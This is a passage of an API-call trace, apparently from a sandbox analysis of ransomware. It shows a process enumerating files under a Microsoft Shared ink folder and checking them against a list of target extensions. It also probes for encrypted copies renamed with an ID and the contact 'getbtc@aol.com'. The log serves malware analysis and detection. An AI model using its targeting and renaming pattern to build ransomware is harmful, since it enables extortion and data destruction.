lpString2=".Q1G") returned 1 [0037.576] lstrlenW (lpString="Alphabet.xml") returned 12 [0037.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.860] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=791686) returned 1 [0037.862] CloseHandle (hObject=0x1c4) returned 1 [0037.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0037.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.871] lstrlenW (lpString=".doc") returned 4 [0037.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString=".docx") returned 5 [0037.871] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0037.871] lstrlenW (lpString=".pdf") returned 4 [0037.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString=".xls") returned 4 [0037.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString=".xlsx") returned 5 [0037.871] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0037.871] lstrlenW (lpString=".ppt") returned 4 [0037.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.871] lstrlenW (lpString=".zip") returned 4 [0037.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.871] lstrlenW (lpString=".rar") returned 4 [0037.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString=".bz2") returned 4 [0037.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString=".7z") returned 3 [0037.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.871] lstrlenW (lpString=".dbf") returned 4 [0037.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.871] lstrlenW (lpString=".1cd") returned 4 [0037.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.871] lstrlenW (lpString=".jpg") returned 4 [0037.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.872] lstrlenW (lpString=".doc") returned 4 [0037.872] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString=".docx") returned 5 [0037.872] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0037.872] lstrlenW (lpString=".pdf") returned 4 [0037.872] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString=".xls") returned 4 [0037.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString=".xlsx") returned 5 [0037.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0037.872] lstrlenW (lpString=".ppt") returned 4 [0037.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.872] lstrlenW (lpString=".zip") returned 4 [0037.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.872] lstrlenW (lpString=".rar") returned 4 [0037.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString=".bz2") returned 4 [0037.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString=".7z") returned 3 [0037.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.872] lstrlenW (lpString=".dbf") returned 4 [0037.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.872] lstrlenW (lpString=".1cd") returned 4 [0037.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0037.872] lstrlenW (lpString=".jpg") returned 4 [0037.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.873] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.873] lstrlenW (lpString="webbase.xml") returned 11 [0037.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.126] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1166) returned 1 [0039.126] CloseHandle (hObject=0x1d0) returned 1 [0039.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0039.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.126] lstrlenW (lpString=".doc") returned 4 [0039.126] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.126] lstrlenW (lpString=".docx") returned 5 [0039.126] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0039.126] lstrlenW (lpString=".pdf") returned 4 [0039.126] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.126] lstrlenW (lpString=".xls") returned 4 [0039.126] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.126] lstrlenW (lpString=".xlsx") returned 5 [0039.126] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0039.126] lstrlenW (lpString=".ppt") returned 4 [0039.126] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.126] lstrlenW (lpString=".zip") returned 4 [0039.126] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.127] lstrlenW (lpString=".rar") returned 4 [0039.127] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString=".bz2") returned 4 [0039.127] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString=".7z") returned 3 [0039.127] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.127] lstrlenW (lpString=".dbf") returned 4 [0039.127] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.127] lstrlenW (lpString=".1cd") returned 4 [0039.127] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.127] lstrlenW (lpString=".jpg") returned 4 [0039.127] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.127] lstrlenW (lpString=".doc") returned 4 [0039.127] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString=".docx") returned 5 [0039.127] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0039.127] lstrlenW (lpString=".pdf") returned 4 [0039.127] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString=".xls") returned 4 [0039.127] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString=".xlsx") returned 5 [0039.127] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0039.127] lstrlenW (lpString=".ppt") returned 4 [0039.127] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.127] lstrlenW (lpString=".zip") returned 4 [0039.127] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.128] lstrlenW (lpString=".rar") returned 4 [0039.128] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.128] lstrlenW (lpString=".bz2") returned 4 [0039.128] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.128] lstrlenW (lpString=".7z") returned 3 [0039.128] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.128] lstrlenW (lpString=".dbf") returned 4 [0039.128] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.128] lstrlenW (lpString=".1cd") returned 4 [0039.128] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0039.128] lstrlenW (lpString=".jpg") returned 4 [0039.128] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.156] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.156] lstrlenW (lpString="ipsfin.xml") returned 10 [0039.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.220] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2658) returned 1 [0039.220] CloseHandle (hObject=0x1a0) returned 1 [0039.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0039.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.221] lstrlenW (lpString=".doc") returned 4 [0039.221] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString=".docx") returned 5 [0039.221] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.221] lstrlenW (lpString=".pdf") returned 4 [0039.221] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString=".xls") returned 4 [0039.221] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString=".xlsx") returned 5 [0039.221] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.221] lstrlenW (lpString=".ppt") returned 4 [0039.221] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.221] lstrlenW (lpString=".zip") returned 4 [0039.221] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.221] lstrlenW (lpString=".rar") returned 4 [0039.221] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString=".bz2") returned 4 [0039.221] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString=".7z") returned 3 [0039.221] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.221] lstrlenW (lpString=".dbf") returned 4 [0039.221] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.221] lstrlenW (lpString=".1cd") returned 4 [0039.221] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.221] lstrlenW (lpString=".jpg") returned 4 [0039.221] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.222] lstrlenW (lpString=".doc") returned 4 [0039.222] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString=".docx") returned 5 [0039.222] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.222] lstrlenW (lpString=".pdf") returned 4 [0039.222] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString=".xls") returned 4 [0039.222] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString=".xlsx") returned 5 [0039.222] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.222] lstrlenW (lpString=".ppt") returned 4 [0039.222] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.222] lstrlenW (lpString=".zip") returned 4 [0039.222] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.222] lstrlenW (lpString=".rar") returned 4 [0039.222] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString=".bz2") returned 4 [0039.222] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString=".7z") returned 3 [0039.222] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.222] lstrlenW (lpString=".dbf") returned 4 [0039.222] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.222] lstrlenW (lpString=".1cd") returned 4 [0039.222] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.222] lstrlenW (lpString=".jpg") returned 4 [0039.222] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.223] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.223] lstrlenW (lpString="ipshrv.xml") returned 10 [0039.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.223] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2652) returned 1 [0039.223] CloseHandle (hObject=0x1a0) returned 1 [0039.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0039.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.223] lstrlenW (lpString=".doc") returned 4 [0039.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.223] lstrlenW (lpString=".docx") returned 5 [0039.223] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0039.223] lstrlenW (lpString=".pdf") returned 4 [0039.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.223] lstrlenW (lpString=".xls") returned 4 [0039.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString=".xlsx") returned 5 [0039.224] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0039.224] lstrlenW (lpString=".ppt") returned 4 [0039.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.224] lstrlenW (lpString=".zip") returned 4 [0039.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.224] lstrlenW (lpString=".rar") returned 4 [0039.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString=".bz2") returned 4 [0039.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString=".7z") returned 3 [0039.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.224] lstrlenW (lpString=".dbf") returned 4 [0039.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.224] lstrlenW (lpString=".1cd") returned 4 [0039.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.224] lstrlenW (lpString=".jpg") returned 4 [0039.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.224] lstrlenW (lpString=".doc") returned 4 [0039.224] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString=".docx") returned 5 [0039.224] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0039.224] lstrlenW (lpString=".pdf") returned 4 [0039.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString=".xls") returned 4 [0039.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.224] lstrlenW (lpString=".xlsx") returned 5 [0039.224] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0039.224] lstrlenW (lpString=".ppt") returned 4 [0039.225] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.225] lstrlenW (lpString=".zip") returned 4 [0039.225] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.225] lstrlenW (lpString=".rar") returned 4 [0039.225] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.225] lstrlenW (lpString=".bz2") returned 4 [0039.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.225] lstrlenW (lpString=".7z") returned 3 [0039.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.225] lstrlenW (lpString=".dbf") returned 4 [0039.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.225] lstrlenW (lpString=".1cd") returned 4 [0039.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.225] lstrlenW (lpString=".jpg") returned 4 [0039.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.225] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.225] lstrlenW (lpString="ipsita.xml") returned 10 [0039.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.226] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2526) returned 1 [0039.226] CloseHandle (hObject=0x1a0) returned 1 [0039.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0039.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.226] lstrlenW (lpString=".doc") returned 4 [0039.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.226] lstrlenW (lpString=".docx") returned 5 [0039.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0039.226] lstrlenW (lpString=".pdf") returned 4 [0039.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.226] lstrlenW (lpString=".xls") returned 4 [0039.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.226] lstrlenW (lpString=".xlsx") returned 5 [0039.226] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0039.226] lstrlenW (lpString=".ppt") returned 4 [0039.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.226] lstrlenW (lpString=".zip") returned 4 [0039.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.226] lstrlenW (lpString=".rar") returned 4 [0039.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.226] lstrlenW (lpString=".bz2") returned 4 [0039.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.226] lstrlenW (lpString=".7z") returned 3 [0039.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.226] lstrlenW (lpString=".dbf") returned 4 [0039.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 